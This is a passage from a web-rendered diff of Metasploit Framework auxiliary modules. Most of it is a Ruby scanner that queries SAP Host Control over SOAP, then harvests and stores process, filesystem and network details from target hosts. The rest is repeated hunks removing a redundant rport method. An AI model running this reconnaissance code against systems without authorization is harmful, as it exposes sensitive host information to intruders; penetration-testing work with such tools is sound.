process_info[7], # CPU time
|
||||
process_info[8] # Command
|
||||
]
|
||||
end
|
||||
|
||||
def parse_fs_info(fs_info)
|
||||
@fs_table << [
|
||||
fs_info[0], # Filesystem Name
|
||||
fs_info[2], # Size
|
||||
fs_info[3], # Space Available
|
||||
fs_info[6] # Is the filesystem remote ?
|
||||
]
|
||||
end
|
||||
|
||||
def parse_net_info(net_info)
|
||||
@net_table << [
|
||||
net_info[0], # Network Device ID
|
||||
net_info[1], # Packets In
|
||||
net_info[2], # Packets Out
|
||||
net_info[3], # Errors In
|
||||
net_info[4], # Errors Out
|
||||
net_info[5] # Collisions
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
def run_host(rhost)
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>'
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
||||
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
||||
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
||||
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
||||
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
||||
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
||||
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
||||
|
||||
begin
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => "/",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
})
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
|
||||
return
|
||||
end
|
||||
|
||||
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = $1.strip
|
||||
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
||||
return
|
||||
|
||||
elsif res and res.code != 200
|
||||
vprint_error("#{rhost}:#{rport} - Error in response")
|
||||
return
|
||||
end
|
||||
|
||||
initialize_tables()
|
||||
|
||||
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
|
||||
|
||||
begin
|
||||
response_xml = REXML::Document.new(res.body)
|
||||
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
|
||||
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
|
||||
rescue
|
||||
print_error("#{rhost}:#{rport} - Unable to parse XML response")
|
||||
return
|
||||
end
|
||||
|
||||
success = parse_computer_info(computer_info)
|
||||
if success
|
||||
print_good("#{rhost}:#{rport} - Information retrieved successfully")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Unable to parse reply")
|
||||
return
|
||||
end
|
||||
|
||||
# assume that if we can parse the first part, it is a valid SAP XML response
|
||||
parse_detailed_info(detailed_info)
|
||||
|
||||
sap_tables_clean = ''
|
||||
|
||||
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
|
||||
sap_tables_clean << t.to_s
|
||||
end
|
||||
|
||||
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)
|
||||
|
||||
xml_raw = store_loot(
|
||||
"sap.getcomputersystem",
|
||||
"text/xml",
|
||||
rhost,
|
||||
res.body,
|
||||
"sap_getcomputersystem.xml",
|
||||
"SAP GetComputerSystem XML"
|
||||
)
|
||||
|
||||
xml_parsed = store_loot(
|
||||
"sap.getcomputersystem",
|
||||
"text/plain",
|
||||
rhost,
|
||||
sap_tables_clean,
|
||||
"sap_getcomputersystem.txt",
|
||||
"SAP GetComputerSystem XML"
|
||||
)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
|
||||
|
||||
end
|
||||
end
|
|
@ -35,10 +35,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
|
|
@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
|
|
@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
|
|
@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
|
|
@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue